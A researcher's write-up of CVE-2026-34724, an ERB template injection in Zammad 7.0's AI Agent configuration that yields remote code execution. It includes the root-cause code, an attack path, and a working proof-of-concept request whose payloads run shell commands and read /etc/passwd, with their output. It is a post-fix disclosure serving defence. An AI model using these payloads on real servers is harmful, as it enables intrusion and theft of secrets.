This is the first of three findings I reported to Zammad in March 2026, and the most serious of the set. Zammad is a widely deployed open-source help-desk and ticketing platform; version 7.0 (March 2026) shipped a new AI Agent feature, and with it an entirely new attack surface that turned out to reach a very old, very dangerous code path.

It was fixed in 7.0.1 and assigned CVE-2026-34724. I rated it Critical (CVSS 3.1, 9.1); Zammad scored it 8.7 (High) on CVSS v4.

Background

The AI Agent feature lets an administrator configure agents — for example a TicketCategorizer — that enrich and act on tickets. Part of that configuration is a type_enrichment_data hash, e.g. { "category": "billing/invoicing" }, whose values are merged into an instruction template before the agent runs.

Under the hood, Zammad builds that instruction template through its long-standing NotificationFactory rendering stack, which is an ERB engine. ERB happily evaluates embedded Ruby (<%= ... %>), so anything that reaches it as a template — rather than as data — is code.

Root cause

The vulnerable path lives in app/models/ai/agent/type.rb. When an agent’s execution definition is built, replace_placeholders substitutes the configured enrichment values directly into the template string with String#gsub, with no sanitization:

# app/models/ai/agent/type.rb (simplified)
def replace_placeholders(structure_string)
  PLACEHOLDER_FIELD_NAMES.each do |placeholder_name|
    placeholder_pattern = "#{placeholder.#{placeholder_name}}"
    replacement_value   = enrichment_data[placeholder_name] || ''
    # attacker value injected verbatim into the ERB template
    structure_string = structure_string.gsub(placeholder_pattern, replacement_value.to_s)
  end
  structure_string
end

The resulting string is then rendered with trusted: true:

NotificationFactory::Renderer.new(template: structure, trusted: true).render

That flag matters. In lib/notification_factory/template.rb, #to_s only escapes ERB opening tags when the template is not trusted:

result = result.gsub(%r{<%(?!%)}, '<%%') if !@trusted   # escaped only when trusted:false

With trusted: true, escaping is skipped and the string lands in the execution sink in lib/notification_factory/renderer.rb unchanged:

ERB.new(@template.to_s).result(binding)   # arbitrary Ruby runs here

So an admin-supplied enrichment value containing <%= ... %> is evaluated as Ruby on the server.

This is the same trusted: true ERB mechanism behind the much older CVE-2021-42093 (which reached the sink through Triggers and was patched back in 4.1.1). The AI Agent code path, introduced in mid-2025, reopened the same sink through a fresh, unguarded route.

Attack path

  1. The attacker holds an account with the admin.ai_agent permission.
  2. They create an AI Agent via POST /api/v1/ai_agents with an ERB payload in type_enrichment_data.category.
  3. They create a Trigger so that ticket creation invokes the agent.
  4. Any user creating a ticket fires the job (TriggerAIAgentJobService::AI::Agent::Run), which builds the template, splices in the payload, and renders it with trusted: true — executing the Ruby. The command output comes back embedded in the rendered result structure.

Proof of concept

POST /api/v1/ai_agents HTTP/1.1
Host: zammad.example.com
Authorization: Basic <admin_credentials>
Content-Type: application/json

{
  "name": "poc-rce",
  "agent_type": "TicketCategorizer",
  "active": true,
  "type_enrichment_data": {
    "category": "<%= `id`.strip %>"
  }
}

Confirmed payloads on a live 7.1.x instance:

PayloadResult
<%= `id`.strip %>uid=1000(vboxuser) gid=1000(vboxuser) ...
<%= `whoami`.strip %>vboxuser
<%= `hostname`.strip %>deb
<%= File.read("/etc/passwd").lines.first.strip %>root:x:0:0:root:/root:/bin/bash
<%= (7*7).to_s %>49

The output came back embedded in the rendered result structure, e.g.:

"result_structure" => {
  "uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),100(users)" => "string"
}

Impact

Remote code execution as the Zammad application user: arbitrary file reads, secret exfiltration, reverse shells, lateral movement into internal infrastructure, or direct database tampering.

In my report I rated this Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). Zammad scored it 8.7 (High) on CVSS v4 — below Critical because exploitation requires a high-privilege administrative configuration step (admin.ai_agent). That is a fair call — but “admin-only” is not “harmless”: it removes any audit-time expectation that agent configuration is inert data, and it converts a configuration surface into a code-execution one.

Fix

The released fix escapes ERB delimiters in substituted enrichment values before they reach the template. The more robust approach — which I also recommended — is to never splice user-controlled values into an ERB-rendered string at all, and instead pass them into the binding as variables so they can only ever be data.

References

Thanks to the Zammad security team for a quick, professional turnaround.